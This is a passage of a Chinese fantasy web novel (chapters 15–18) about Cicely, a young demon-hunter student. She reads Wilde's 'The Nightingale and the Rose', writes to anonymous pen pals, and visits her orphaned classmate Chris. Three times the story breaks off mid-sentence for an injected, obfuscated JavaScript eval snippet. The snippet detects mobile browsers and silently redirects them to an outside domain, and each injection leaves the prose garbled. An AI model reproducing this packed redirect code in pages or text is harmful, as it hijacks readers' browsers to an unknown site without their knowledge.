西塞莉：“啊！还说他们有个叫‘二次元’的部族喜欢吃昂贵的铁片对吧？真是奇怪啊，这是个食铁兽部落么？可书上说他们都是人类，只是喜欢纸片而已——但喜欢纸片和爱吃铁片有什么联系吗？” 尼克：“可能上纪元的人类构造比较特殊吧。” “真是神奇啊，旧人类。”西塞莉感叹。 …… 大概是因为晚上和尼克他们讨论到了上纪元，西塞莉夜里依然满脑子都是王尔德和上纪元的事。 她想了想，还是穿上衣服离开了宿舍。 深夜的猎魔人学院，空旷而寂静，只有几盏路灯孤独地渲染着夜色。 西塞莉微微抬头，可以看见远处泽布拉维古树茂密而巨大的树冠，在灯光下呈现出相当漂亮的、如同光照下的翡翠石一样的光景。 路过的花坛里盛开着白色的月季，月光下仿佛是用白银制成的艺术品。它和玫瑰很像，让西塞莉又想起了王尔德，那个用血液为玫瑰上色的故事。 她继续走着，进到了图书馆，这里是整个维戈大陆藏书最丰富齐全的地方，巨大的书架伫立着，看得人眼花的各色书籍整齐地排列着。 西塞莉没有用门口的查询器，而是直接到了三楼的上纪元专区。 上纪元末和新纪元前期，大概是爆发了什么很严重的天灾人祸的，但记载实在是太少了，然后各种各样不可靠的猜测就冒了出来。 有人说是被变态科学家用炸弹炸毁了，也有人说是陨石雨，甚至有‘因为纪元前的人类都是脆皮巧克力，因为气温升高而融化，所以新纪元大家才进化成血肉之躯’这种离谱的言论出现。 西塞莉一笑而过，然后开始看各种靠谱的复原过的上纪元文学作品和不靠谱的穿越题材的现代轻小说。 好吧，其实主要就是为了打发时间，她除了不看严肃文学外荤素不忌的。 要感谢一些上纪元的爱书人士，因为他们的努力，才能让新纪元考古队发掘出这些为数不多关于上纪元的东西。 西塞莉从书架上取下一本《夜莺与玫瑰》。 故事的开头，大学生因为无法在冬天得到一朵红玫瑰送给爱人而唉声叹气，书上的夜莺听到了，被他的真爱之心打动，出发为他寻找一朵红玫瑰。 ——这个故事她在很久之前就听过了。 小时候，卡蜜拉和艾维斯会轮流给她讲睡前故事，卡蜜拉向来是讲这些在她眼里西塞莉‘这个年纪适合看的’。艾维斯就不一样的，他会给她念轻小说或者漫画，然后想看插图和画面的西塞莉就会打开灯凑到他身边，直到被察觉到不对劲的卡蜜拉各自赶回去。 《夜莺与玫瑰》就是她曾经为她讲过的睡前故事。 西塞莉的记忆一向很好，她清晰的记得，在夜莺找到红玫瑰树的时候，却得知她在冬天无法开花。 但在夜莺的说服下，玫瑰树终于告诉了她让自己在冬天开花的方法：用尖刺刺穿她的胸脯，让鲜血染红花朵，歌唱一整夜。 但夜莺说，用生命才能换到一朵玫瑰，代价虽然很大，但爱要比生命更重要。 自从十一岁生日那次的预言过去后，西塞莉开始对“爱”这个字眼变得很敏感。 爱比生命更重要吗？ 西塞莉想，既然有人把王尔德的书保存得这么完好，那一定是很喜欢他的故事吧？一定觉得他的文字很有道理吧？ 那爱是真的比生命更重要吗？ 西塞莉不明白。 因为虽然看过不少杂七杂八的书，但实际上，所有作品中对“爱”之一词的描述都相当抽象而模糊，只从文字和图像上来看是根本无法了解其意。 西塞莉还不明白爱的道理。 然后，夜莺又说爱比哲学更有智慧，爱比权力更有力量。 看吧，大家对爱的描述总是抽象而暧昧的。‘爱比生命更重要’只能让西塞莉觉得爱是很重要的东西，‘比哲学更有智慧，比权力更有力量’也只能让她感觉爱是很厉害的东西。 更何况，如果从她的观点出发，她甚至并不觉得哲学和权力是什么很厉害的东西。 ‘但这个语境表达的好像是这个意思。’西塞莉以在初级学院时做阅读理解的思维分析道。 【她痛得越厉害，她的歌声就越激昂越激昂，因为现在，她唱的是死神使之完美的爱，在坟墓里也不死的爱。】＊ 这句话似乎是在表达‘死让爱更完美，但爱是不死的’。 不死的？那就是永恒的。 但他又说死让爱更完美，但死掉的东西还要如何永恒？ 嗯，这个说法似乎更抽象了呢。 西塞莉开始盯着那句话发呆，然后将视线定在“死”和“爱”上。 但将“爱”与“死”联系在一起，总让她想起观星塔主人给她的预言。 西塞莉当时问的是“我会如何死去”，而对方的回答是“爱是最伟大的魔法”。 ……话说夜莺的血为什么会让玫瑰树在寒冬开花呢？这也是魔法吗？爱的魔法？可上纪元不是没有魔法吗？……难道爱的魔法是可以跨越纪元的……？ 但这怎么看都很不可信啊！！ 西塞莉长长叹了一口气，趴在自习室的长桌上盯着书籍精装封面上的烫金书名发呆。 真是好难理解啊，爱这种东西…… —————— 克里斯觉得自己可能还没清醒，也有可能是他还在梦中，或者中了幻术类的天赋术法。 因为这实在很不寻常。 西塞莉.霍华德往往是人群中最惹人瞩目的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505001|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个，她总是被众人簇拥包围，被欢笑与热闹环绕着，源源不断的光与热从她体内发散出来，那种热烈流泻出的鲜活生命力像是盛夏滚烫毒辣的烈阳，几乎能将人灼伤。 此刻，图书馆安静的自习室内，这位烈阳小姐安静地睡着，呼吸声很轻，平稳而绵长。 她一只胳膊被当做枕头靠在颊下——颧骨偏下些的位置，昨天的学园祭表演上，她就亲吻在丹尼尔的这个位置。……反正只是小孩子的吻而已。 她另一只胳膊自然地放在一旁，指尖轻轻搭在面前的精装书上。 克里斯顺着她短袖下柔软白皙的手臂看去，看到书籍封面上的烫金书名，是学院祭话剧表演在投票时被筛下去的那个节目的名字。 她很喜欢这个吗？ 但排练《快乐王子》的时候她分明也很来劲啊。 克里斯和她的对手戏很少，西塞莉只有两句话要对他说， 一句是“我可以爱你吗？” 另一句是“你愿意跟我走吗？” 而克里斯没有给她回答，因为故事中的芦苇是不会说话的。 他的视线又落到她的手上，西塞莉的手白皙而漂亮，看上去很柔软，并且几乎没有变形和起茧。 ——看上去一点也不像猎魔人的手。 西塞莉很爱惜自己手，不，她似乎爱惜自己身体的每一寸。 每次训练时，她都会带上手套，训练结束后会在手上涂些乱七八糟的护理用品，明明没有受伤却经常被丹尼尔推着往医务室跑…… 克里斯一开始不知道是为什么，直到后来在训练中不小心受伤后才知道，西塞莉的爸爸往学校医务室捐了一台高级护理器。 联想到她平日里不情不愿地被丹尼尔和尼克他们提醒着带手套和涂护理用品，这双大小姐似的精致双手是怎么来的就不言而喻了。 ——话说这家伙本来就是个大小姐吧？但一个猎魔人拥有这样一双手还是很叫人难以置信的。 这家伙浑身上下都带着金贵而细致的气质，那种气质就算是皇室也很难养出来，那是一种什么都不缺的感觉——糖果，金钱，珍宝，时间，包括那罕见而珍贵的，充盈的“爱”。 西塞莉.霍华德就是被这些东西堆砌着养出来的。 ……不过作为一个准猎魔人，警惕性能差成这样也真的很让人难以置信了。 他已经在这儿站了有一会儿了，甚至，他们的距离已经突破了所谓的安全距离，他甚至能看清她白皙的脸颊上细小的绒毛和被乌黑眼睫半掩住的那颗红色泪痣。 未免也太没有警惕了吧…… 克里斯看了看窗外，夏天总是天亮得很早，而现在却也才刚蒙蒙亮。 是睡在图书馆了吗？ 她为什么会睡在图书馆呢？ 在这种地方也能睡着吗？ 这种空旷而明亮的地方……克里斯是不喜欢的。 ……而且图书馆自习室的桌子很大，是可以藏人的。 只要收敛气息，不留意的话大概很难察觉出来吧？ 如果是他的话，是绝对不可能在这地方睡着的。 自从那件事过去后，他就开始变得神经质了。 如果不是完全可以信任的的地方，他是无法放松的，更别提睡着了。 ……但这个世界上还能有值得他信任的地方吗？ 这么想来，还真是有点羡慕这家伙了。 16. 匿名笔友 在图书馆睡了一晚的结果显而易见不太好。 西塞莉感觉自己骨头都散架了，浑身难受得要死。 幸好今天因为学园祭不用上课，可以让她好好回宿舍休息。 她可真是一点也不想动了，于是拒绝了丹尼尔出去玩的请求。 学院祭结束后，学院里开展了新活动——匿名笔友。 “这是很有意思的活动。”西塞莉说，“我们说不定可以通过它来认识其他猎魔人学院的学生。” 没错，这次活动是由猎魔人公会决定的，在五所猎魔人学院里统一执行，匿名信件也是在五所学院随机发放的，所以他们是可以收到其他学院的匿名来信的。 总而言之，这个活动就是可以帮你找个‘笔友’，你们可能不认识，甚至可能不在同一片大陆，但你们可以无话不谈。 虽说可以选择不参加，但不参加的人里绝对不包括西塞莉，因为西塞莉很心动。 当天晚上，西塞莉回到宿舍后，就发现自己的宿舍门口已经被安上了一个信箱，上面绘有魔法图文，每天八点钟发动一次，用来交换信件。 回到宿舍，西塞莉从书桌抽屉里找出信纸，金属笔尖蘸满墨水，她思索片刻，动了笔。 ——亲爱的陌生人，你好： 我最近有些小烦恼。 几个月前，我从一名据说很灵验的预言家那里听说了我的命运…… …… ……你能解答我的疑惑吗？ ————Grain Rain（谷雨） 从修改过的预言讲到最近学过的魔法和招式，西塞莉洋洋洒洒写了将近两页，然后在落款写上了自己的‘代号’。 ——Grain Rain，谷雨，上纪元流传下来的二十四节气之一。 西塞莉就出生在那一天。 等待墨水风干的间隙，她又欢天喜地的开始挑选信封和火漆。 等一切都准备好后，西塞莉回想着放学前老师教导的方式，在信封上留下了自己的魔力刻印。 ——这个刻印是为了标记信箱位置的，如果想要建立长期笔友关系，只需要在回信时也留下刻印，用来标记对方的信箱位置就好了，这样等他们再次往信箱里投信的时候就会被传送到自己标记过信箱里，而不会被再次随机到别人的信箱。 而且这也算是某种低等级的无杖无咒魔法，甚至有几个同学没有学会。 ——并不是在说丹尼尔哦！他在西塞莉的教导下已经勉强会用了。 哼着最近流行的曲调，西塞莉将用红色火漆封起来的矢车蓝信封塞进了信箱。 距离八点还有些距离，她随手从书架上拿起一本书开始看。 这一摞全是最近出新书，前几天艾维斯刚帮她筛选寄过来的。 ——艾维斯已经好久没帮她筛过书了。 他之前的猎魔人工作一直干得很松懈，总是缠着卡蜜拉和西塞莉，但自从半年前知道自己有望晋升S级后，艾维斯就积极了不少，用他自己的话来讲，就是“我可是有望成为有史以来第一百二十三位S级呢！而且‘123’这个数字很酷欸！”。 ——说实话，‘123’这个数字并没有很酷，但很特殊就是了。 西塞莉正在看的这本漫画，是她最喜欢的那种拯救世界流的少年漫。 主角是一个普通人，在一所普通的中级学院学习，且即将毕业，正在盘算以自己的吊车尾成绩能上哪所高级学院。 但在一次例行体检中，却被检测出觉醒了魔力，然后被送进入了猎魔人学院。 嗯，读一年级。 西塞莉想，这年龄也未免有点太大了，中级学院快毕业的话，该有大约十五岁了吧？但猎魔人学院一年级的平均年龄可是只有十一岁呢。 …… 等她停下的时候，已经快九点了。 西塞莉眨了眨略微有些酸涩的眼，想起关于‘匿名笔友’的事，瞬间来了不少精神，兴高采烈起身，然后想到如果是今天的话是收不到对方的回信的，还要等到明天八点才可以。 但蔫没两秒，她又突然起了性质，想去研究研究信箱上那个神奇的法阵，然后再次兴致冲冲地重来出去。 但意外的是，西塞莉的信箱里居然有一封信。 那封信被装在金属蓝的信封里，宝石蓝色的火漆，火漆印章上是一只蝴蝶。 西塞莉好奇地打量着它，觉得信的主人大概很喜欢蓝色。 这似乎也是很正常的，说不定这封信的主人和她一样，也在今天就寄出了信，而这封信正好被随机到了她的信箱里。 ——那她岂不是可以一下子拥有两个笔友了吗？ 回到宿舍内，西塞莉几乎是迫不及待地打开了那封蓝色的信。 ——亲爱的陌生人： 展信舒颜。 有一件事让我很困扰，希望有人可以替我解惑。 我好像被人讨厌了，但我并不知道这是因为为什么。我和对方在进入猎魔人学院前并不熟悉，在学校中似乎也并没有什么交集，也不存在什么大的冲突。 但对方却似乎并不太喜欢我，每次和我对上视都时会瞪视我（虽然看上去没什么威慑力，甚至还有点像和大人闹脾气的小孩子……但这的确是一种表达不喜与厌恶的方式吧？）。 但那孩子的心地是很好的，每次考试前都会变相的给予我激励，在我被同学孤立的时候还主动和我搭话…… 我想自己大概真的是有什么地方惹了对方不高兴吧，毕竟我自认也不是那种很讨人喜欢的性格。 但我真的不想被那孩子讨厌，请问我该怎么才能和对方和解呢？ 期待您的回复。 ————Sapphire（蓝宝石） 这是一封很漂亮的信。 烫银的象牙白信纸，优雅而华丽的花体字，落款处的“Sapphire”甚至换了蓝色闪魔来写，在光下闪烁着美丽的光。 这位Sapphire小姐——虽然信中并没有提到关于信主的性别，但因为那手漂亮的字和那‘蓝宝石’的落款，西塞莉已经脑补出了一位冷淡而忧郁，为友谊而发愁的不善言辞的美丽小姐。 看信中对方不善言辞，真诚又疑惑的样子，说不定连‘代号’都没有认真编，真名就叫‘萨菲尔’呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505002|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——亲爱的Sapphire小姐： 展信佳！ 很荣幸能够帮助你。 就我在交朋友方面的经验，我认为没有人会无缘无故讨厌一个人，如果你的那位同期真的很讨厌你的话，那你可能是真的有什么地方惹对方生气了吧！ 但不要紧！没有人会永远讨厌另一个人，或许他的讨厌很快就会被时间冲淡，这样你对于他来说就和普通的陌生人没什么两样了，作为陌生人和他成为朋友也是不错的一条路呢！ 虽然这个方法很好，但其实“主动沟通”才是更一劳永逸的方式。 了解他为什么讨厌你，如果是误会的话就要及时澄清，如果是其他问题也要认真向他解释，真诚而认真的，基本可以解决你现在的困境。 期待你的回信！ ————Grain Rain PS：如果想让自己的话更加可信的话，一定要真诚地看着对方的眼睛哦！有一句从上纪元就很流行的话叫“眼睛是心灵的窗户”。 既然如此，那么对视就是透过两扇窗看见对方的灵魂吧！ PPS:祝顺利！ 西塞莉将写满的羊皮纸上的墨迹晾干，将它装进带暗纹的墨绿色信封中，用银色火漆封口，还盖了个鹿形徽章。 她满意地打量着自己的杰作。 然后在打印记这件事上犯了难。 西塞莉苦思冥想片刻，决定这次用火属性魔力做印记。 西塞莉最擅长使用雷、火、光三属性的魔法，其他几个熟悉虽然并不常用，但并不代表她不会用、转化不了这几个属性的魔力。 这样看来，就算再来上几封她也可以应付的。 西塞莉这么想着，用火属性的魔力在信封上落了一个记号，将其塞进了信箱。 …… 第二天晚上，西塞莉在信箱里发现一封和蓝宝石小姐风格截然不同的信——显然是昨天她寄出去的那封信的回信了。 那是一封红绿配色信——红色的信封和橄榄绿色的火漆，但那绿色的火漆只是被服帖地盖在上面，没有什么花哨的图案和装饰，信封上倒是有很漂亮精致的暗纹。 西塞莉在上面感应到细微而陌生的魔力流动，是魔力印记——这代表对方愿意和她成为长期笔友。 她立马感觉心情更加愉悦了些—— 西塞莉喜欢交朋友，因为漫画里的主角总是有很多朋友。 她哼着小调走进宿舍，在桌前慢悠悠拆开信封。 ——Grain Rain： 晚上好。 关于雷系魔法的转化与运用，我个人认为还是哈罗德.彼得斯的‘蛛网序列’威力更大些，几乎称得上是中阶攻击魔法之最。但辛克莱.邓肯的‘紫玻璃裂纹’倒确实是最漂亮的。你很有眼光。 至于关于预言和占卜的事，恕我无能为力，本人在这方面并无涉猎，并无经验可言，并且对‘命运是注定’的这种说法并不赞同，这种含糊而暧昧的东西如果不明白的话还是不要相信的好。 以上。 期待回信。 ————Artist（艺术家） 17. 不一样的克里斯 西塞莉没想到斯科特一族的族地离自己家那么近。 事情发生在十月中旬，起因源于某个周末她打算回家的下午，就在她收拾好东西打算离开的时候，被理论课老师汉森叫住了。 “西塞莉是住在神庭附近吧？”他问。 西塞莉想了想，自家别墅离丹尼尔的福利院很近，而那家福利院隶属神庭，并且离得很近，于是她点了点头： “是的，怎么了吗？” “太好了！”汉森老师松了口气：“可以拜托你一件事吗？神庭再往北一段路就是斯科特的族地了，可以帮我把这份资料送过去吗？这个是重点，如果掌握不好对成绩影响很大的。” 他试探着将手中的资料向前送了送，诚恳地看着她。 虽然她很想赢过克里斯，也不觉得他会掌握不好那些重点，但送过去似乎也不会花费她多少时间。 反正是周末，而她这次回家除了和家人聚聚也没什么重要的事。 ——不过话说克里斯居然也会想回家吗？他不是…… 不是只剩下他一个人了吗？ 于是西塞莉迟疑地伸手接过。 “多谢。”见她接过，汉森松了一口气。 西塞莉通过传送阵被传送回王城，然后会坐马车回家。 今天来接她的人是扎克利，西塞莉隔着很远就注意到了他，他出众的身高和那头耀眼的银色头发实在是很惹人瞩目。 西塞莉奔过去热情地给了他一个拥抱，说：“你出任务回来了啊！扎克利大叔！” “不要叫我大叔，人家今年也才二十出头呢。” 他有些嫌弃的别了下脸——他的脸侧有一道疤，那是他在几年前的任务中留下的，此刻随着微笑的弧度微微变形，却因为清秀漂亮的脸蛋并不显得狰狞，反而带来些别样的魅力。 “但你比我要大十一岁呢，叫大叔不是很合适嘛。” “啊，那你就这么叫吧。” 马车上，扎克利慢悠悠从怀里掏出一本书看。 西塞莉见状立马凑过去。 “啊！是这本啊！”她道。 “你看过？这个可是新书。” “前几天艾维斯往学院寄了几本。” “艾维斯这家伙啊……净给你弄这些乱七八糟的东西。” “你这大叔在说什么啊？明明也很喜欢看吧？这本很不错哦，后一点出场的那个正太王子虽然看着很可爱，但其实是……” “……停！不要剧透。” 等回到家的时候，天色已经很昏暗了，扎克利被卡蜜拉邀请留下来吃饭。 西塞莉却有些心不在焉，一直频频望向窗外的夜色。 “西塞莉？”艾维斯问，顺着她的视线望去，只看到外面接近全黑的天幕。“为什么一直在看外面？” 在纠结什么时候去给斯科特族地给克里斯送资料才好。 如果她明天去送的话，克里斯下次月考要是没赢过她会不会怪她把资料送得太晚呢？ 西塞莉暗自纠结了半晌，没回答艾维斯的问题，只是突然放下了餐具：“我出去一趟。” 然后她拿起背包和竖在门边的滑板就出了门。 “欸——！”艾维斯下意识抬起了手。 “这孩子……”他叹。 扎克利问：“就这么让她出去，没问题吗？” “能有什么问题，”卡蜜拉替他回答道，“这可是王城，而且还离神庭这么近，巡逻的圣骑士难道是摆设吗？” 扎克利以前也当过一段时间的神庭圣骑士，自然知道圣骑士团的实力，于是也安心了不少，但还是有些不放心道：“天已经黑了……而且西塞莉还只有十一岁，而且……” 而且她还是个漂亮女孩。 “你难道觉得西塞莉很弱吗？”卡蜜拉说，“她已经很厉害了呢，而且也有自己的主见与想法，这很好。” 西塞莉的滑板在这小半年又被她改造了一番，速度又提了一番。 斯科特的族地比她预想中的还要近些。 上次葬礼的时候也没怎么注意，她向来不怎么记路，马车上一直在看书。 抵达神庭教堂，再向北一公里左右，就是斯科特的族地，说远不算远说近不算的距离。 斯科特的族地被围起来，身穿银白盔甲的神庭圣骑士拦住她的去路。 西塞莉很眼熟这身装扮，因为扎克利也有这么一身。 在扎克利升上B级猎魔人后，官方自动解除了他和艾维斯的“引导”关系，在那之后，扎克利去神庭工作了一阵，当了两年多的神庭圣骑士。 那段时间西塞莉几乎每天都可以看见他，因为在没有特殊情况的时候，圣骑士的任务就只是在神庭附近巡逻而已，而扎克利的家又离神庭这么近，在西塞莉的初级学院放学后，甚至能经常碰上下班的扎克利。 自从斯科特被灭族后，为了保护斯科特一族的末裔，神庭就派了圣骑士来看守这片区域。 话说这就是传说中的“特殊情况”吧？要是扎克利还在神庭当圣骑士的话说不定也会是他们的一员呢。 在西塞莉向他们解释过自己的身份和来意后，被毕恭毕敬地放了进来。 这是西塞莉第一次这么认真打量这里——这个一夜之间被迫走向灭亡的，古老族群的驻地。 房屋很多，但都没有灯光从窗中透出，毫无生气地伫立在死寂的夜里，几乎显得有些恐怖和阴森，零星几盏昏黄的路灯孤独地渲染着夜色，形单影只的模样像是一道道孤独而迷茫的影子。 虽然斯科特的族地很大，但克里斯的住处其实相当好找。 他是族长的儿子，族长的房屋当然是在族地的正中，被簇拥包围着，像是被星星环绕着的月亮。 而且就算西塞莉的方向感很差也能找到他的方向。 因为斯科特只有克里斯一个人的，甚至可以说，这偌大一片族地，只有克里斯一个人居住。 而在天黑时，也只会有克里斯一个人会打开灯。 所以，那个唯一亮着灯的房子就是他的家了。 这是西塞莉一路看来最大最漂亮的房子，而且几乎每个窗户亮着灯，在夜里很显眼。 这是把全屋的灯都打开了吗？ 西塞莉想，克里斯这家伙难道是怕黑吗？ “克里斯？”她试探着敲了敲门。 停顿片刻，里面没有任何动静。 西塞莉又敲了敲：“克里斯？克里斯.斯科特？我是西塞莉，汉森老师让我来给你送资料，快开门呀。” 门依旧没开。 西塞莉有些怀疑克里斯是否在家了。 因为现在正是晚饭时间，如果他不会做饭的话，说不定会出去吃。 但入口的神庭圣骑士为什么还要让她进来呢？是在耍她吗？！ 西塞莉感到有些不高兴。 不过转念一想，说不定是克里斯不想被那些家伙管东管西，自己偷偷溜出去的，而那群圣骑士什么都不清楚。 那也太没用了吧？不是被派来保护克里斯的吗？如果连人离开都察觉不到，那要是有坏人潜伏进来又要怎么办？让克里斯这个小孩子怎么应对？ 就算是猎魔人学院名列前茅的天才，但他现在也只有十一二岁吧？要是遇到这种情况岂不是只能等死？ 她如此想着，气便又消了不少。 她再次抬手敲门：“克里斯？你在家吗？” 西塞莉凑近门边，仔细听里面的动静。 也许是隔音做得很好，也许是真的没有人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505003|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之，她没有听到任何动静。 ……真的没有在家吗？ 余光中，西塞莉又看到那片荒芜的街道与房屋，黑暗张牙舞爪地将他们吞没。 再加上这里几个月前经历的那场灭族惨案，总让人忧心会不会也恶鬼幽灵之类东西蹦出来…… 说不定她现在所处的地方也曾有尸体躺过，她手下折扇冰凉的门也曾被溅上血液…… 不过话说，纪元前后不知道有几千几亿年，那片土地上没有死过人、没有被溅上血液呢？ 西塞莉对于斯科特的灭族感观很复杂。 从客观上来讲，这个族灭得很值。毕竟据推测，魔王拿他发完气估计就消停了，大概能换相当长一段时间的和平生活。 但只要把自己带入斯科特来说就感觉相当憋屈了。 莫名其妙被全灭了，怎么想都很难安息吧…… 就在她胡思乱想的时候，门被拉开了。 半侧着身以一种倾听的姿态靠在门上的西塞莉随着门被向内拉开的动作下意识向前扑去。 然后被男孩捉住肩膀施力稳住。 “抱歉啊哈哈……” 西塞莉尴尬说，笑着抬头…… “克里斯？”她有些怔愣地看着他。 “嗯。”男孩声音依旧很平淡。 “你的头发……”西塞莉迟疑地望着他。 只见他那头无论何时总是整齐而服帖的黑发正张牙舞爪地翘着，看上去很是桀骜。 但其实也是好看的，西塞莉甚至觉得这比他平时那种严肃而冷淡的模样好看了不止一星半点。 他的头发乱得很有美感，乱而有序，明明炸炸的却看上去手感很好……怎么说呢，有些像漫画里的那种刺猬头。 唔，加长款的，但又不是直喇喇竖着的那种……呃，软掉刺的刺猬?听上去好奇怪啊，这么一想象又不那么像刺猬头了，那要怎么形容啊？要么就这么叫好了，反正她也只是在心里叫叫…… 话说刺猬头不太适合克里斯吧？他可是个高冷批欸。 “……” 克里斯的脸色肉眼可见的不太好。 他伸手压了压自己翘起的发，但只要他一放手，那头发便又再次倔强地翘了起来。 西塞莉：“……” ……话说，西塞莉很久之前就觉得克里斯的头发很怪了，就算在体术课上做了高难度动作也一丝不乱，简直不符合物理学。 但她也没认真去想，毕竟她看的那些漫画里有很多这样的头发（指不符合物理学定律），这么看来，这家伙大概是用了发胶之类的东西用来固定吧。 ……那克里斯这家伙每天都会给自己做造型吗？所以学霸每天早起是为了给自己上发胶吗？ 好奇怪。 而且如果将这个设定安在克里斯身上的话，就更加诡异了啊喂！ “你来找我吗？” 他放弃了徒手将头发理得服帖些的想法，有些自暴自弃地说道。 “啊……嗯、对，我是来给你送资料的。” 西塞莉这才反应过来，将背后的背包取下来，在里面翻找到那份资料。 “就是这个——” 她从包里抽出资料，却不小心带出了另一本书。 低头一看—— 《Re：天才猎魔人十六岁》 西塞莉：“……” 该死，克里斯一定会在心里笑话她喜欢看这种三流小说的吧！ ……没事，她也可以在心里嘲笑他是刺猬头，嗯，没关系的。 于是，西塞莉若无其事地将那本书收回包里，把手中的资料递到克里斯身前：“喏。” 他伸手接过，黑眼珠静静望着她。 “……你要，进来喝杯水吗？” 18. 关于家 西塞莉眨了眨眼：“行啊。” 西塞莉倒不是特别渴，也没有很想喝水，她只是很想知道克里斯住的地方是怎样的。 她真的很好奇！这种猎魔人世家的继承人住的地方！ ——话说克里斯是继承人吗？他是族长的儿子的话那就是下一任族长咯？好像听说他上面还有个很优秀的哥哥来着？他们这种家族是长者继位还是强者继位？ ……算了，反正都不在了。 克里斯的家很大，有很大的庭院和很宽敞的室外训练场。 很亮，因为所有灯都开着，从窗户里透出明亮的光。 但却很安静，和这亮得惊人的房屋搭配起来倒显出另一种诡异来。 克里斯带她穿过庭园，去了客厅。 西塞莉毫不见外地坐到沙发上，目光好奇地打量着这间空旷而清冷的房间。 似乎和普通家庭的客厅相比没什么不同，只是更加冷清，没有所谓的‘人气’，于是显得有些过分静谧了。 克里斯就住在这种地方吗？ 似乎也没什么不合适的，给人的感觉很像他本人。 很像他本人……克里斯给人什么感觉？ 寂静的，冷淡的，漠然的…… 啊，这座房屋给人的就是这种感觉呢。 即使亮着全部的灯，那孤寂的感觉也难以被排解。 西塞莉下意识将这座房屋和自己家相比。 霍华德家的庭园同样也很大。但花园里种满了白蔷薇，开花时很漂亮，还安了秋千和吊床，西塞莉经常在上面看书，偶尔身边还挤着丹尼尔。 霍华德家的客厅也很大。但茶几上总是摆满各种零食饮料，游戏机和游戏手柄被随时放在沙发上，桌面上是各种乱七八糟的小说漫画，电视上播放着新一期的搞笑综艺或者是偶像选秀节目…… 西塞莉无法想象自己失去这些的样子。 但这些，克里斯通通都没有。 克里斯在被灭族前是否和她一样，拥有着热闹而喧哗的生活呢？他也会在沙发上打游戏、在秋千上看漫画吗？ ……完全想象不到呢。 西塞莉想，克里斯家的庭院里好像并没有秋千，那他肯定不能在秋千上看书的吧？那克里斯有没有游戏机？他会打游戏吗？ 她抬眼看一眼将水放到她面前就一直沉默坐着的克里斯本人，觉得这家伙跟这种外放活泼的活动不太适配。 不过他可能也的确没有进行过这种活动。 毕竟他可是世家出身的天才，估计没工夫玩那些在他眼里无聊至极的游戏吧？ 真是没品味。 ……话说，如果克里斯一个人住的话，岂不是所以起居都要自己负责？ 他会自己打扫房间吗？会自己洗衣服、自己做饭吗？ 这些东西和克里斯真的好不搭哦。 “克里斯，”西塞莉忍不住开口问他：“你平时会自己打扫屋子吗？” “……嗯？” 他抬眼盯了她片刻，两人视线短暂对上，是西塞莉率先移开了视线——她已经对克里斯的天赋有点ptst了。 “我只负责自己的卧室，其他的神庭会派人解决。” “那洗衣做饭这方面的事呢？也是神庭派人来解决吗？” “……这些和你有关系吗？” 西塞莉这才意识到自己的行为其实不太礼貌。 她和克里斯并不算熟悉，问这种问题实在是有些过界了。 “抱歉。”她立刻道。 “……没关系。” 西塞莉离开了。 屋子里再次变得很安静。 克里斯看了看窗外，天幕已经完全暗下来了。 他这时才有些迟钝地想，自己是不是应该去送送她，万一她遇上坏人什么的……？ 但她家离神庭不远，几乎没有人敢在神庭造次，应该是安全的。 而且因为……那件事，这附近也被神庭安排了不少人，圣骑士巡逻的范围几乎扩大到王城的整个西区，很安全的。 所以她应该不需要他的保护吧。 而且她似乎依旧很不太喜欢他的样子。 西塞莉回到了家。 屋子里亮着灯，艾维斯和扎克利窝在沙发里打游戏。 楼上书房的门缝流出些灯光，大概是卡蜜拉在里面。 “回来了？”听见动静，艾维斯看过来，语气幽幽地说。 “嗯。”西塞莉点了点头，解释道：“去给同学送资料了。” “斯科特？” “你怎么知道？” “因为可以这么快就送完的话，不是丹尼尔就是他了吧？而且丹尼尔今天又没回福利院。” “你不是很讨厌他吗？” “最近好像没有那么讨厌他了。” 玛蒂尔达和苏菲亚都和好了，她似乎没有理由再讨厌他了。 就像尼克说的，她没有必须讨厌克里斯的必要。 “你怜悯他？”艾维斯迟疑地问，但还没等她开口就自顾自道：“那你可千万不要让他知道啊，这种人是可是会把怜悯当成侮辱的。” 西塞莉皱眉：“……我没有怜悯他。虽然他的确很可怜就是了。” 艾维斯：“你也不要让他知道你觉得他可怜，他会觉得自己被侮辱的。” 西塞莉问：“……那我干什么他才不会感觉被侮辱？” 艾维斯：“你不要理他就好了。” 西塞莉：“……我也没打算理他好吗？话说老爸你对克里斯的意见很大？他哪里得罪了你吗？还是斯科特家以前有人得罪过你？” 艾维斯却说：“小孩子不要早恋，恋爱是要满十八岁才能谈的。” 西塞莉：“你这家伙又在说什么胡话啊？” 扎克利适时开口：“他怕你喜欢上克里斯。” “哈？” 